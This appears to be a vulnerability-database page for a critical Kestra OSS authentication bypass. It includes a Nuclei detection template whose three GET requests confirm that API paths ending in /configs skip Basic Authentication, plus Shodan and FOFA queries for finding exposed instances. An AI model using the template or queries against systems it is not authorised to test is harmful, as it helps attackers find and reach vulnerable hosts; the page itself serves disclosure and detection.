CVE-2026-49869: Kestra OSS - Authentication Bypass via Configs Path Suffix

2026-11-29 PoC Public

Description

Kestra OSS versions before 1.0.45 and 1.1.0 through 1.3.20 exempt any API path ending in /configs from Basic Authentication, allowing unauthenticated access to protected routes and the creation and execution of workflows.

Details

CVE
CVE-2026-49869 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-49869

info:
  name: Kestra OSS - Authentication Bypass via Configs Path Suffix
  author: theamanrawat
  severity: critical
  description: |
    Kestra OSS versions before 1.0.45 and 1.1.0 through 1.3.20 exempt any API path ending in /configs from Basic Authentication, allowing unauthenticated access to protected routes and the creation and execution of workflows.
  impact: |
    An unauthenticated attacker can create and run a malicious workflow, potentially executing operating system commands in the Kestra worker environment.
  remediation: |
    Upgrade Kestra 1.0.x to 1.0.45 or later, or upgrade 1.1.x through 1.3.x to 1.3.21 or later, and restrict access to the API until the update is complete.
  reference:
    - https://github.com/kestra-io/kestra/security/advisories/GHSA-5vc5-wxxq-3fjx
    - https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49869
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-49869
    epss-score: 0.20409
    epss-percentile: 0.98031
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 3
    vendor: kestra
    product: kestra
    shodan-query: 'title:"Kestra"'
    fofa-query: 'title="Kestra"'
  tags: cve,cve2026,kestra,auth-bypass,unauth,rce,kev,vkev

variables:
  namespace: "nuclei{{randstr}}"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/configs"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"edition\":\"OSS\"", "\"isBasicAuthInitialized\":true", "\"version\":")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/v1/main/flows/{{namespace}}/ordinary"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(tolower(all_headers), "www-authenticate: basic")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/v1/main/flows/{{namespace}}/configs"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains_all(body, "\"message\":\"Not Found\"", "/api/v1/main/flows/")'
        condition: and
# digest: 4a0a00473045022048e00d62c1e7cec18cb876025ae3289bd911c1b324daf9157e19e3148f754e84022100a2b9f0af801499cda7f2999007e2225a0206a1e1af703d9018b73cbb2d874957:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life